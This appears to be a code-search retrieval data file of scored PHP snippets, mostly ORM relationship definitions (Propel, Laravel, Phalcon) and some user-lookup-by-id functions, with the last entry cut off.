"423b31666bdf57d71c75c0d11a20d613", "score": "0.54966295", "text": "public function relationships(): iterable;", "title": "" }, { "docid": "423b31666bdf57d71c75c0d11a20d613", "score": "0.54966295", "text": "public function relationships(): iterable;", "title": "" }, { "docid": "3d8e9bb9e42998e0772ef540f08070fd", "score": "0.5493833", "text": "protected function relations()\r\n {\r\n return [];\r\n }", "title": "" }, { "docid": "3d8e9bb9e42998e0772ef540f08070fd", "score": "0.5493833", "text": "protected function relations()\r\n {\r\n return [];\r\n }", "title": "" }, { "docid": "e34b0d77aee4f1376d56697d89369dab", "score": "0.54737186", "text": "public function query() {\n $query = parent::query();\n // Add in book parent child relationships.\n $query->join('book', 'b', 'n.nid = b.nid');\n $query->addField('b', 'bid', 'book_id');\n $query->join('menu_links', 'ml', 'b.mlid = ml.mlid');\n $query->addField('ml', 'weight', 'book_weight');\n return $query;\n }", "title": "" }, { "docid": "1f0ff1fe5a3cea82b06f854436dcfe9e", "score": "0.5471414", "text": "public function eagerLoad($relationship)\n\t{\n\t\tif(is_array($relationship))\n\t\t{\n\t\t\tforeach($relationship as $key)\n\t\t\t{\n\t\t\t\t$this->eagerLoad[] = $key;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->eagerLoad[] = $relationship;\n\t\t}\n\t}", "title": "" }, { "docid": "7fe90ad61ed48b146b6098f1218fe083", "score": "0.5469414", "text": "public function with($relationships)\n {\n $this->model = $this->model->with($relationships);\n return $this;\n }", "title": "" }, { "docid": "62f47976d1701d9816d92ea4e38b43e5", "score": "0.5460725", "text": "public function buildRelations()\n {\n $this->addRelation('Child', '\\\\Child', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':childId',\n 1 => ':childId',\n ),\n), null, null, null, false);\n $this->addRelation('Staff', '\\\\Staff', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':staffId',\n 1 => ':staffId',\n ),\n), null, null, null, false);\n }", "title": "" }, { "docid": "1f637903cb87c810f06dddc4f26642ec", "score": "0.5453333", "text": "public function getLazyRelationshipsAttribute()\n {\n return ['accessible', 'first_location', 'last_location', 'geofence'];\n }", "title": "" }, { "docid": "badd4ad3cbd08e0f5c3d4cf37dc83767", "score": "0.54331756", "text": "public function links()\n {\n return $this->hasMany($this->getBuilderModelNamespace())->orderBy('order', 'asc')->where('parent_id', 0);\n }", "title": "" }, { "docid": "82fea716b8428d5423ac705b6eb138ba", "score": "0.54223925", "text": "public function buildRelations()\n {\n $this->addRelation('Quote', '\\\\Quote', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':QthdId',\n 1 => ':QthdId',\n ),\n), null, null, null, false);\n }", "title": "" }, { "docid": "a76d66faf4318d59cac93851f65b502d", "score": "0.5401771", "text": "public function load($relations)\n {\n if (is_string($relations)) {\n $relations = func_get_args();\n }\n\n $query = $this->newQuery()->with($relations);\n\n $query->eagerLoadRelations([$this]);\n\n return $this;\n }", "title": "" }, { "docid": "5e90d9834e9ca29b9c0a0a393639e345", "score": "0.5395271", "text": "public function buildRelations()\n {\n $this->addRelation('Image', '\\\\Models\\\\Image', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':id_image',\n 1 => ':id',\n ),\n), null, null, null, false);\n $this->addRelation('Member', '\\\\Models\\\\Member', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':id_member',\n 1 => ':id',\n ),\n), null, null, null, false);\n $this->addRelation('Article', '\\\\Models\\\\Article', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user',\n 1 => ':id',\n ),\n), null, null, 'Articles', false);\n $this->addRelation('Comment', '\\\\Models\\\\Comment', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user',\n 1 => ':id',\n ),\n), null, null, 'Comments', false);\n $this->addRelation('Rating', '\\\\Models\\\\Rating', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user',\n 1 => ':id',\n ),\n), null, null, 'Ratings', false);\n $this->addRelation('UserReportRelatedByIdUser', '\\\\Models\\\\UserReport', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user',\n 1 => ':id',\n ),\n), null, null, 'UserReportsRelatedByIdUser', false);\n $this->addRelation('UserReportRelatedByIdUserReported', '\\\\Models\\\\UserReport', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user_reported',\n 1 => ':id',\n ),\n), null, null, 'UserReportsRelatedByIdUserReported', false);\n $this->addRelation('BugReport', '\\\\Models\\\\BugReport', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user',\n 1 => ':id',\n ),\n), null, null, 'BugReports', false);\n $this->addRelation('IdeaRelatedByIdUser', '\\\\Models\\\\Idea', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user',\n 1 => ':id',\n ),\n), null, null, 'IdeasRelatedByIdUser', false);\n $this->addRelation('IdeaRelatedByApprovedBy', '\\\\Models\\\\Idea', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':approved_by',\n 1 => ':id',\n ),\n), null, null, 'IdeasRelatedByApprovedBy', false);\n $this->addRelation('MembershipApplication', '\\\\Models\\\\MembershipApplication', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user',\n 1 => ':id',\n ),\n), null, null, 'MembershipApplications', false);\n $this->addRelation('Gallery', '\\\\Models\\\\Gallery', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user',\n 1 => ':id',\n ),\n), null, null, 'Galleries', false);\n $this->addRelation('BanRelatedByIdUser', '\\\\Models\\\\Ban', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':id_user',\n 1 => ':id',\n ),\n), null, null, 'BansRelatedByIdUser', false);\n $this->addRelation('BanRelatedByBannedBy', '\\\\Models\\\\Ban', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':banned_by',\n 1 => ':id',\n ),\n), null, null, 'BansRelatedByBannedBy', false);\n }", "title": "" }, { "docid": "1835a64485dd8600a5c723c204340875", "score": "0.5389573", "text": "public function buildRelations()\n\t{\n\t\t$this->addRelation('UsuarioRelatedById_emisor', 'Usuario', RelationMap::MANY_TO_ONE, array('id_emisor' => 'id', ), null, null);\n\t\t$this->addRelation('UsuarioRelatedById_receptor', 'Usuario', RelationMap::MANY_TO_ONE, array('id_receptor' => 'id', ), null, null);\n\t\t$this->addRelation('Tipo_notificacion', 'Tipo_notificacion', RelationMap::MANY_TO_ONE, array('id_tipo_notificacion' => 'id', ), null, null);\n\t}", "title": "" }, { "docid": "cfde33d093ed3d50fcb0052206909abd", "score": "0.53892297", "text": "public function initialize()\n {\n $this->hasMany('id_adelanto', 'Adelantos', 'id_adelanto', array('alias' => 'Adelantos'));\n $this->hasMany('id_diaspres', 'DiasPrestaciones', 'id_diaspres', array('alias' => 'DiasPrestaciones'));\n $this->hasMany('id_tasa', 'TasasBcv', 'id_tasa', array('alias' => 'TasasBcv'));\n $this->hasMany('id_adelanto', 'Adelantos', 'id_adelanto', NULL);\n $this->hasMany('id_diaspres', 'DiasPrestaciones', 'id_diaspres', NULL);\n $this->hasMany('id_tasa', 'TasasBcv', 'id_tasa', NULL);\n }", "title": "" }, { "docid": "f076ef645cf476a966397a0093097e3c", "score": "0.5388362", "text": "public function fill_relations($relations, $skip_include=false) {\n\tforeach ($relations as $key => $relation) {\n\t\t$this->add_relation($key, $relation, $skip_include);\n\t}\n}", "title": "" }, { "docid": "a2ff828fc0da911b3daff8f905cd0d4f", "score": "0.5365848", "text": "public function buildRelations()\n {\n $this->addRelation('JenisSarana', 'DataDikdas\\\\Model\\\\JenisSarana', RelationMap::MANY_TO_ONE, array('jenis_sarana_id' => 'jenis_sarana_id', ), 'RESTRICT', 'RESTRICT');\n $this->addRelation('BentukPendidikan', 'DataDikdas\\\\Model\\\\BentukPendidikan', RelationMap::MANY_TO_ONE, array('bentuk_pendidikan_id' => 'bentuk_pendidikan_id', ), 'RESTRICT', 'RESTRICT');\n $this->addRelation('JenisPrasarana', 'DataDikdas\\\\Model\\\\JenisPrasarana', RelationMap::MANY_TO_ONE, array('jenis_prasarana_id' => 'jenis_prasarana_id', ), 'RESTRICT', 'RESTRICT');\n $this->addRelation('Jurusan', 'DataDikdas\\\\Model\\\\Jurusan', RelationMap::MANY_TO_ONE, array('jurusan_id' => 'jurusan_id', ), 'RESTRICT', 'RESTRICT');\n }", "title": "" }, { "docid": "fea1f20689fb57337aa1063f1fb6df8c", "score": "0.53570014", "text": "function it_attaches_has_many_models_in_addition_to_existing_related()\n {\n /** @var TestPost $post */\n $post = TestPost::first();\n\n $commentPersisted = TestComment::create([\n 'title' => 'New Title Persisted',\n ]);\n\n $related = [\n new TestComment([\n 'title' => 'New Title',\n ]),\n $commentPersisted,\n ];\n\n $manipulator = new EloquentModelManipulator;\n $manipulator->setModel($post);\n\n static::assertTrue($manipulator->attachRelatedRecords($post, 'comments', $related));\n\n $post = $post->fresh();\n\n static::assertCount(5, $post->comments);\n }", "title": "" }, { "docid": "4c245ea8ec22a6ed0a9a33d602e7d9dd", "score": "0.53553534", "text": "public function buildRelations()\n {\n $this->addRelation('CiUsuariosRelatedByIdUserCreated', '\\\\CiUsuarios', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':id_user_created',\n 1 => ':id_usuario',\n ),\n), null, null, null, false);\n $this->addRelation('CiUsuariosRelatedByIdUserModified', '\\\\CiUsuarios', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':id_user_modified',\n 1 => ':id_usuario',\n ),\n), null, null, null, false);\n $this->addRelation('CiUsuariosRelatedByIdCliente', '\\\\CiUsuarios', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':id_cliente',\n 1 => ':id_usuario',\n ),\n), null, null, null, false);\n $this->addRelation('HbfClubs', '\\\\HbfClubs', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':id_club',\n 1 => ':id_club',\n ),\n), null, null, null, false);\n $this->addRelation('HbfTurnos', '\\\\HbfTurnos', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':id_turno',\n 1 => ':id_turno',\n ),\n), null, null, null, false);\n $this->addRelation('HbfSesiones', '\\\\HbfSesiones', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':id_sesion',\n 1 => ':id_sesion',\n ),\n), null, null, null, false);\n $this->addRelation('HbfProductos', '\\\\HbfProductos', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':id_producto',\n 1 => ':id_producto',\n ),\n), null, null, null, false);\n }", "title": "" }, { "docid": "f6c1a4bc1f8af6d435a538a5aad0a572", "score": "0.533745", "text": "public function buildRelations()\n {\n $this->addRelation('Role', '\\\\ORM\\\\Role', RelationMap::MANY_TO_ONE, array('id' => 'id', ), 'CASCADE', 'RESTRICT');\n }", "title": "" }, { "docid": "10df7eb65bf8a3371df90cbd97ba4c6c", "score": "0.5330748", "text": "public function buildRelations()\n {\n $this->addRelation('EnquiryComment', '\\\\Wedding\\\\EnquiryComment', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':enquiry_id',\n 1 => ':entity_id',\n ),\n), 'CASCADE', 'CASCADE', 'EnquiryComments', false);\n $this->addRelation('Quote', '\\\\Wedding\\\\Quote', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':enquiry_id',\n 1 => ':entity_id',\n ),\n), 'CASCADE', 'CASCADE', 'Quotes', false);\n $this->addRelation('Viewing', '\\\\Wedding\\\\Viewing', RelationMap::ONE_TO_MANY, array (\n 0 =>\n array (\n 0 => ':enquiry_id',\n 1 => ':entity_id',\n ),\n), 'CASCADE', 'CASCADE', 'Viewings', false);\n }", "title": "" }, { "docid": "af999612b72805a55866564b0dc92e4b", "score": "0.53024197", "text": "public function getLoadedRelations() : array;", "title": "" }, { "docid": "231c0104ed6e3803d5b1696cd2e099f3", "score": "0.5299842", "text": "public function initialize()\n {\n $this->hasMany('id', 'Movie', 'director_id', array('alias' => 'Movie'));\n }", "title": "" }, { "docid": "cbcbfe0ea690815e1a7b94f6987f1411", "score": "0.52902377", "text": "public function buildRelations()\n {\n $this->addRelation('Truck', '\\\\Model\\\\Truck', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':truck_id',\n 1 => ':id',\n ),\n), null, null, null, false);\n }", "title": "" }, { "docid": "8e46593f03c151618119b2c257056531", "score": "0.5282292", "text": "public function with($relationships)\n {\n $this->model = $this->model->with($relationships);\n\n return $this;\n }", "title": "" }, { "docid": "d5f32e591b4aba4ccac8d1bc3d065baf", "score": "0.5273033", "text": "public function preOrders()\n {\n return $this->hasMany();\n }", "title": "" }, { "docid": "936556c23f5791fdf56e338da6349b37", "score": "0.5272717", "text": "public function getAssociations();", "title": "" }, { "docid": "4d21dfb9280dc7b3fef7c9c5a5e37acf", "score": "0.5269281", "text": "public function scopeIncluded(Builder $query)\n {\n if (empty($this->allowIncluded) || empty(request('included'))) {\n return;\n }\n \n $relations = explode(',', request('included'));\n\n $allowIncluded = collect($this->allowIncluded);\n\n foreach ($relations as $key => $relationship) {\n\n if (!$allowIncluded->contains($relationship)) {\n\n unset($relations[$key]);\n\n }\n\n }\n\n $query->with($relations);\n }", "title": "" }, { "docid": "86adf5d0392690da5543b1a2e8d92f21", "score": "0.52689344", "text": "public function with($relations)\n {\n return $this->model->with($relations)->get();\n }", "title": "" }, { "docid": "eb3f4a1b9a3e1144f069466e054e7f04", "score": "0.52648973", "text": "public function eagerLoad($relation, Entity ...$entities)\n {\n $relations = explode('.', $relation); // split the relations by .\n while (count($relations) > 0 && count($entities) > 0) {\n $relation = array_shift($relations);\n $loaded = array_reduce($entities, function ($loaded, Entity $entity) use ($relation) {\n return $loaded && $entity->hasLoaded($relation);\n }, true);\n\n if (!$loaded) {\n // we assume that every object has the same class and is an entity\n /** @var Entity $first */\n $first = Helper::first($entities);\n $first::getRelation($relation)\n ->eagerLoad($this, ...$entities);\n }\n\n if (count($relations) > 0) {\n // get all related objects of this relation\n $entities = array_merge(...array_map(function ($relatedObject) use ($relation) {\n $related = $relatedObject->getRelated($relation);\n return !is_array($related) ? [$related] : $related;\n }, $entities));\n }\n }\n }", "title": "" }, { "docid": "30dd6ce689cfa2bc4c29023c6bc66ec8", "score": "0.5256043", "text": "public function with($relations)\n {\n return $this->model->with($relations);\n }", "title": "" }, { "docid": "30dd6ce689cfa2bc4c29023c6bc66ec8", "score": "0.5256043", "text": "public function with($relations)\n {\n return $this->model->with($relations);\n }", "title": "" }, { "docid": "30dd6ce689cfa2bc4c29023c6bc66ec8", "score": "0.5256043", "text": "public function with($relations)\n {\n return $this->model->with($relations);\n }", "title": "" }, { "docid": "30dd6ce689cfa2bc4c29023c6bc66ec8", "score": "0.5256043", "text": "public function with($relations)\n {\n return $this->model->with($relations);\n }", "title": "" }, { "docid": "71e59fcfa41b80849be93010c2afc406", "score": "0.5244508", "text": "private function getRelatedData() {\n\n $result = RelationshipSearchService::search([\n 'from_id' => $this->from_id,\n 'to_class' => 'collection',\n 'not_to_type' => 'software',\n 'to_title' => '*'\n ], ['boost_to_group' => $this->ro->group ,'rows' => 5]);\n $this->related_count += $result->total;\n return $result->toArray();\n }", "title": "" }, { "docid": "0c418c6e597c27cb1a14b338057935a7", "score": "0.5241074", "text": "public function buildRelations()\n {\n $this->addRelation('Ptk', 'DataDikdas\\\\Model\\\\Ptk', RelationMap::MANY_TO_ONE, array('ptk_id' => 'ptk_id', ), 'RESTRICT', 'RESTRICT');\n $this->addRelation('JenisDiklat', 'DataDikdas\\\\Model\\\\JenisDiklat', RelationMap::MANY_TO_ONE, array('jenis_diklat_id' => 'jenis_diklat_id', ), 'RESTRICT', 'RESTRICT');\n }", "title": "" }, { "docid": "0aff841570985feeb46dd1129614fe87", "score": "0.5233255", "text": "public function buildRelations()\n {\n $this->addRelation('Customer', '\\\\Customer', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':ArcuCustId',\n 1 => ':ArcuCustId',\n ),\n), null, null, null, false);\n $this->addRelation('CustomerShipto', '\\\\CustomerShipto', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':ArcuCustId',\n 1 => ':ArcuCustId',\n ),\n 1 =>\n array (\n 0 => ':ArstShipId',\n 1 => ':ArstShipId',\n ),\n), null, null, null, false);\n $this->addRelation('SalesPerson', '\\\\SalesPerson', RelationMap::MANY_TO_ONE, array (\n 0 =>\n array (\n 0 => ':ArspSalePer1',\n 1 => ':ArspSalePer1',\n ),\n), null, null, null, false);\n }", "title": "" }, { "docid": "3645134cc008a1dc1e2d980467d71d78", "score": "0.52298784", "text": "public function buildRelations()\n {\n $this->addRelation('Consultorio', 'Consultorio', RelationMap::MANY_TO_ONE, array('idconsultorio' => 'idconsultorio', ), 'CASCADE', 'CASCADE');\n $this->addRelation('Medico', 'Medico', RelationMap::MANY_TO_ONE, array('idmedico' => 'idmedico', ), 'CASCADE', 'CASCADE');\n $this->addRelation('Paciente', 'Paciente', RelationMap::MANY_TO_ONE, array('idpaciente' => 'idpaciente', ), 'CASCADE', 'CASCADE');\n $this->addRelation('Cargoconsulta', 'Cargoconsulta', RelationMap::ONE_TO_MANY, array('idconsulta' => 'idconsulta', ), 'CASCADE', 'CASCADE', 'Cargoconsultas');\n $this->addRelation('Consultaanticipo', 'Consultaanticipo', RelationMap::ONE_TO_MANY, array('idconsulta' => 'idconsulta', ), 'CASCADE', 'CASCADE', 'Consultaanticipos');\n $this->addRelation('Factura', 'Factura', RelationMap::ONE_TO_MANY, array('idconsulta' => 'idconsulta', ), 'CASCADE', 'CASCADE', 'Facturas');\n }", "title": "" }, { "docid": "509fffb0af2d4ccb47e83937a78409cf", "score": "0.52277195", "text": "public function applyRelations();", "title": "" }, { "docid": "1c77907f07b4a292148e6caca04a9bea", "score": "0.52268296", "text": "public function initialize()\n {\n $this->hasMany('id_asignac', 'TrabajoAsi', 'id_trabajo_asi', array('alias' => 'TrabajoAsi'));\n $this->hasMany('id_asignac', 'Variaciones', 'id_asignac', array('alias' => 'Variaciones'));\n $this->belongsTo('tipo_nomi', 'TipoNomi', 'id_nomina', array('alias' => 'TipoNomi'));\n $this->belongsTo('frecuencia', 'Frecuencia', 'id_frecuencia', array('alias' => 'Frecuencia'));\n $this->belongsTo('tipo', 'AsigsTipo', 'id_tipo', array('alias' => 'AsigsTipo'));\n }", "title": "" }, { "docid": "fc802613cdac03fcee2f44b2c9611afa", "score": "0.52210414", "text": "public function relations()\n\t\t{\n\t\t\t// class name for the relations automatically generated below.\n\t\t\t\n\t\t}", "title": "" }, { "docid": "867f33b89c99f7dc1a4b5f4164541cc1", "score": "0.52194107", "text": "protected function getEagerLoad()\n {\n $includes = $this->transformer->getAvailableIncludes();\n\n return $includes ?: [];\n }", "title": "" }, { "docid": "a1a5567d36f65ec926523de24bf5b4b7", "score": "0.5217619", "text": "public function buildRelations()\n\t{\n $this->addRelation('EquipoRelatedByIdequipo1', 'Equipo', RelationMap::MANY_TO_ONE, array('idequipo1' => 'idequipo', ), null, null);\n $this->addRelation('EquipoRelatedByIdequipo2', 'Equipo', RelationMap::MANY_TO_ONE, array('idequipo2' => 'idequipo', ), null, null);\n $this->addRelation('Pronostico', 'Pronostico', RelationMap::ONE_TO_MANY, array('idpartido' => 'idpartido', ), null, null);\n\t}", "title": "" }, { "docid": "be5262c877de160ec111374e14faa905", "score": "0.5210866", "text": "public function mediate()\n\t{\n\t\t$this->related->select($this->related->getQualifiedFieldName('*'))\n\t\t ->select($this->associativeLocal)\n\t\t ->join($this->associativeTable,\n\t\t $this->related->getQualifiedFieldName($this->relatedKey),\n\t\t $this->associativeRelated);\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "8fa7bdb8490b2dc20999abd9e691da14", "score": "0.5207331", "text": "public function initialize()\n {\n $this->hasMany('planilla_id', 'Remito', 'remito_planillaId', array('alias' => 'Remito'));\n $this->belongsTo('planilla_cabeceraId', 'Cabecera', 'cabecera_id', array('alias' => 'Cabecera'));\n $this->belongsTo('planilla_clienteId', 'Cliente', 'cliente_id', array('alias' => 'Cliente'));\n }", "title": "" }, { "docid": "6a43e8cd4e6f426541546d040076f3c0", "score": "0.52039474", "text": "public function buildRelations()\n {\n $this->addRelation('Aliment', 'Aliment', RelationMap::MANY_TO_ONE, array('numAliment' => 'numAliment', ), null, null);\n $this->addRelation('Constituant', 'Constituant', RelationMap::MANY_TO_ONE, array('numConst' => 'numConst', ), null, null);\n $this->addRelation('Source', 'Source', RelationMap::MANY_TO_ONE, array('numSource' => 'numSource', ), null, null);\n }", "title": "" } ]
f6500eedcd961ffb1b318c70b1f90c8e
GET USER DATA BY ID
[ { "docid": "51fbcc06e49884673477c1593fd93d97", "score": "0.0", "text": "public static function getUserById( $id ) {\n\n // Open database connection\n $db = init_db();\n\n $req = $db->prepare( \"SELECT * FROM user WHERE id = ?\" );\n $req->execute( array( $id ));\n\n // Close databse connection\n $db = null;\n\n return $req->fetch();\n }", "title": "" } ]
[ { "docid": "e560655910b1e9370a84398f80510fe4", "score": "0.7834823", "text": "function user_data_by_id($id){\n\t$userData = User::where('id',$id)->get();\n\treturn $userData[0];\n}", "title": "" }, { "docid": "0fd932428e097267ae065f466db3d9eb", "score": "0.76404184", "text": "public function getUser($id);", "title": "" }, { "docid": "43e3683c5e75f8f19126f3298486f9a9", "score": "0.7617136", "text": "function get_id_user_get() { \n\t\t\t\t$user = $this->model_api->getIDUser();\n\t\t\t$this->response($user, 200);\n\t\t}", "title": "" }, { "docid": "9c6371a7f7b93a87715338670b4020e3", "score": "0.7603434", "text": "public function getByUser($id)\n {\n }", "title": "" }, { "docid": "b7ad4c644e5cec23fa99cb31d673828f", "score": "0.7532176", "text": "function getUserData($id)\r\n\t{\r\n $this->readFromFile();\r\n foreach ($this->usersList as $userData) { \r\n if (strpos (\"a\".$userData[0], $id)) {\r\n $this->name=$userData[1];\r\n $this->email=$userData[2];\r\n $this->news=$userData[3];\r\n $this->inputDate=$userData[4];\r\n $this->id=$userData[0];\r\n }\r\n } \r\n }", "title": "" }, { "docid": "a329f7e3a2938114bd47857e12101c99", "score": "0.74886644", "text": "public function getUserDataById($id){\n $this->db->query('SELECT * FROM user_data WHERE user_id_FK = :id');\n // Bind values\n $this->db->bind(':id', $id);\n\n $row = $this->db->single();\n\n return $row;\n }", "title": "" }, { "docid": "65894c49a96dd8299f680d41107d2456", "score": "0.7484825", "text": "public function getDataByID($user_id){\n $sql = \"SELECT t1.id, t1.user_name, t1.display_name, t1.is_super\n\t\t\t\tFROM backend_users t1\n\t\t\t\tWHERE t1.id = :id\";\n\n return $this->_db->select($sql, array(':id' => $user_id));\n }", "title": "" }, { "docid": "273a6c838e91134708ae125234b215d4", "score": "0.74318016", "text": "public function getUserData($id = 0)\n {\n return $this->db->get_where('users', array('id' => $id))->row_array();\n }", "title": "" }, { "docid": "8d400c8e853e41537ea61d1792d9d893", "score": "0.74080753", "text": "function getById($id){\n return(($this->_db)->query(\"SELECT * FROM user\n WHERE user.idP = $id\")->fetchAll(PDO::FETCH_ASSOC));\n }", "title": "" }, { "docid": "f2faa6109070f0fc5e069caffad7d6d6", "score": "0.73937553", "text": "public function getData( $id = null ) {\n\t\tif ( ( ! $this->admin && $id ) || ! $id ) {\n\t\t\t$id = $this->user;\n\t\t}\n\n\t\tif ( $id == '*' ) {\n\t\t\t$this->db->query( 'SELECT * FROM users' );\n\t\t\t$row = $this->db->resultset();\n\n\t\t\treturn $row;\n\t\t} else {\n\t\t\t$this->db->query( 'SELECT * FROM users WHERE crsid = :id' );\n\t\t\t$this->db->bind( ':id', $id );\n\t\t\t$row = $this->db->single();\n\n\t\t\tif ( ! $row[\"name\"] ) {\n\t\t\t\t$ds = ldap_connect( \"ldap.lookup.cam.ac.uk\" );\n\t\t\t\t$lsearch = ldap_search( $ds, \"ou=people,o=University of Cambridge,dc=cam,dc=ac,dc=uk\", \"uid=\" . $id . \"\" );\n\t\t\t\t$info = ldap_get_entries( $ds, $lsearch );\n\t\t\t\t$name = $info[0][\"cn\"][0];\n\t\t\t\t$this->db->query( 'UPDATE users SET name=:name WHERE crsid=:id' );\n\t\t\t\t$this->db->bind( ':id', $id );\n\t\t\t\t$this->db->bind( ':name', $name );\n\t\t\t\t$this->db->execute();\n\t\t\t\t$row[\"name\"] = $name;\n\t\t\t}\n\n\t\t\treturn $row;\n\t\t}\n\t}", "title": "" }, { "docid": "6c64a3de9bf57ad16058ea95ab4e1751", "score": "0.738911", "text": "public function getUserData($id) {\n try {\n // prepare search statement\n $stmt = $this->conn->prepare(\"SELECT * FROM user WHERE id= ? \");\n\n // bind parameter and execute\n $stmt->bindParam(1, $id);\n $stmt->execute();\n\n // fetch results\n //$result = $stmt->fetch();\n \n // set properties\n /*$this->_name = $result[1];\n $this->_email = $result[2];\n $this->_username = $result[3];\n $this->_password = $result[4];*/\n \n $result = $stmt->fetch(PDO::FETCH_ASSOC);\n foreach ($result as $key => $value) {\n $name = \"_$key\";\n $this->$name = $value;\n }\n \n // show results in _session message\n $_SESSION[\"message\"] = \"<ul style='list-style-type:none'>\"\n . \"<li>Name: $this->_name</li>\"\n . \"<li>Email: $this->_email</li>\"\n . \"<li>Username: $this->_username</li>\"\n . \"<li>Password: $this->_password</li>\"\n . \"</ul>\";\n\n }\n // catch exceptions\n catch (PDOException $e) {\n echo \"Something went wrong while getting the data: \" . $e->getMessage();\n }\n }", "title": "" }, { "docid": "ffbbf212313199ae01782c774f4708df", "score": "0.7376195", "text": "public function getUser($id) {\n return $this->db->query('SELECT * FROM client WHERE id = ?',$id)->fetchArray();\n }", "title": "" }, { "docid": "a6b237f81ccb9df2f03ce91d04f8938e", "score": "0.7304172", "text": "function getUserById($id){\n\t}", "title": "" }, { "docid": "5fc581986022d85ada7f993fad720af2", "score": "0.72705096", "text": "public function getUser()\n {\n $select = $this->select()\n ->order('id');//Ordinate per id\n return $this->fetchAll($select); //Metodo predefinito che prende in input una SELECT e\n // restituisce tutte le tuple della tabella che soddisfano le condizioni(filtrate)\n }", "title": "" }, { "docid": "bf5013ebc00e979fda80c5343dd1338a", "score": "0.7258325", "text": "public function get_user($id){\n\n\t\t$this->db->where('id', $id);\n\n\t\t$query = $this->db->get(DOSEN_TABLE);\n\n\t\treturn $query->first_row('array');\n\n\t\t\n\t}", "title": "" }, { "docid": "9896935679a7dc66e7aeccf48deb8f4d", "score": "0.725056", "text": "function get_user($id) {\n $id = mysqli_real_escape_string($this->connection, $id); \n $return = $this->query(\"SELECT * FROM user WHERE user.id='$id'\");\n\n if ($return) return $return[0];\n else return array();\n }", "title": "" }, { "docid": "72633dc28b361fb3a34ef7c99ffaa792", "score": "0.7250497", "text": "public function selectDataByID($user_id){\n\t\t$sql = \"SELECT t1.id, t1.user_name, t1.display_name, t1.user_name, t1.user_pass, t1.salt, t1.is_super, t1.user_email\n\t\t\t\tFROM backend_users t1\n\t\t\t\tWHERE t1.id = :id\";\n\n\t\treturn $this->_db->select($sql, array(':id' => $user_id));\n\t}", "title": "" }, { "docid": "738c632ec90ab5239640630f478fe989", "score": "0.72465247", "text": "public function getUser($id){\n $query = $this->db->get_where('users', array('id'=>$id));\n return $query->row_array();\n }", "title": "" }, { "docid": "099b5a146d7227626e7b311e827e8c13", "score": "0.72429687", "text": "public function getUserById()\n {\n\n $userId = $this->getUserId();\n\n $conn = Db::getConnection();\n $result = $conn->prepare(\"select * from Users where id = :id\");\n $result->bindValue(':id', $userId);\n $result->execute();\n return $result->fetch();\n }", "title": "" }, { "docid": "c16b6644c592054fd4a0369b1fd6d980", "score": "0.72426844", "text": "function getUserById($id){\n\tglobal $db;\n\t$query = \"SELECT * FROM ai_user_deatils WHERE ai_user_id=\" . $id;\n\t$result = mysqli_query($db, $query);\n\n\t$user = mysqli_fetch_assoc($result);\n\treturn $user;\n}", "title": "" }, { "docid": "dba8893a821a9f15b990fb97975e7476", "score": "0.72422147", "text": "function get_user_info($id) {\n $id = mysqli_real_escape_string($this->connection, $id); \n $return = $this->query(\n \"SELECT `user`.`id` AS UserID, `user`.`first` AS MundaneFirst, `user`.`last` AS MundaneLast,\n `sca_first` AS SCAFirst, `sca_last` AS SCALast, `title`.`name` AS TitleName,\n `prefix`.`name` as PrefixName, `nickname`, `email`, `group`.`name` AS GroupName,\n `group`.`url` AS GroupURL, `kingdom`.`name` AS KingdomName, `kingdom`.`url` AS KingdomURL, `about`\n FROM `user`, `group`, `title`, `prefix`, `kingdom`\n WHERE `title`.`id` = `title_id` AND `prefix`.`id` = `prefix_id` AND `user`.`id` = '$id'\n AND `group`.`id` = `user`.`group_id` AND `kingdom`.`id` = `group`.`kingdom_id`\"\n );\n\n if ($return) return $return[0];\n else return array();\n }", "title": "" }, { "docid": "59177287dab6ec0fe34d381095d2e0d2", "score": "0.72228944", "text": "public function get_user($id) // Забираем из базы по ID.\n\t\t{\n\t\t\t$result = mysql_query(\"SELECT * FROM users WHERE id='{$id}'\");\n\t\t\t$myrow = mysql_fetch_array($result);\n\t\t\treturn $myrow;\n\t\t\t\n\t\t}", "title": "" }, { "docid": "ce6447b6139630c469fa0cc49ca77526", "score": "0.72140044", "text": "public function getUser($id){\n\t\t//sea un numero entero\n\t\t$id = (int) $id;\n\t\t\n\t\tif ($id) {\n\t\t\t$user = $this->db->prepare('SELECT * FROM users WHERE id = 